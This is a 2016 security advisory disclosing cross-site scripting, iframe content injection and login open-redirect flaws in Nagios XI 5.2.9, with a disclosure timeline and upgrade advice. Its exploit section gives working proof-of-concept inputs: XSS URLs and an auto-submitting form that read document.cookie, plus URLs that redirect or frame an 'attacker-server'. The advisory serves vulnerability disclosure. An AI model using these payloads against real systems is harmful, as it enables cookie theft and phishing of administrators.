[+] Credits: John Page aka hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/NAGIOS-XI-V5.2.9-MULTIPLE-VULNERABILITIES.txt
[+] ISR: ApparitionSec
Vendor:
==============
www.nagios.com
Product:
================
Nagios XI v5.2.9
Nagios XI provides network, server, and application monitoring in one easy
to configure package along with advanced alerting
and reporting.
Vulnerability Type:
===================
XSS / Cookie Theft
Remote Content Injection
Authentication Open Redirect
CVE Reference:
==============
N/A
Vulnerability Details:
=====================
Nagios XI Admin area contains multiple security issues.
[ Cross Site Scripting - XSS ]
==============================
Several XSS vulnerabilities using GET and POST requests that allow Cookie
theft and arbitrary client side code execution in the
security context of the current users browser session.
[ Remote Content Injection ]
============================
The 'xiwindow' URL parameter used to load content into an IFRAME is not
checked allowing remote content to be injected that
could allow phishing attacks.
[ Authentication Open Redirect ]
================================
Nagios Admin login page is insecure in that it allows the user
authenticating to be redirected to an attacker server if
the user authenticates using an attacker supplied link or pop up webpage.
References:
https://assets.nagios.com/downloads/nagiosxi/CHANGES-5.TXT
User should upgrade to the latest version of Nagios XI, 5.3.0
Exploit code(s):
===============
[ Cross Site Scripting - XSS ]
==============================
1)
http://victim-server/nagiosxi/includes/components/ccm/ajax.php?cmd=%27%3Cscript%3Ealert(document.cookie)%3C/script%3E&type=cmd&opt=&token=
2) <form action="
http://victim-server/nagiosxi/includes/components/highcharts/exporting-server/index.php"
method="post">
<input type="hidden" name="type" value="application/pdf">
<input type="hidden" name="svg"
value="</script><script>alert(document.cookie)</script>">
<script>document.forms[0].submit()</script>
</form>
[ Remote Content Injection ]
============================
http://victim-server/nagiosxi/admin/?xiwindow=http://attacker-server
[ Authentication Open Redirect ]
================================
http://victim-server/nagiosxi/login.php?redirect=http://attacker-server
Disclosure Timeline:
===================================
Vendor Notification: July 22, 2016
Vendor Acknowledgement: July 22, 2016
Vendor Fixes Releases New Version 5.3.0
October 20, 2016 : Public Disclosure
Exploitation Technique:
=======================
Remote
Severity Level:
================
Low
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.
hyp3rlinx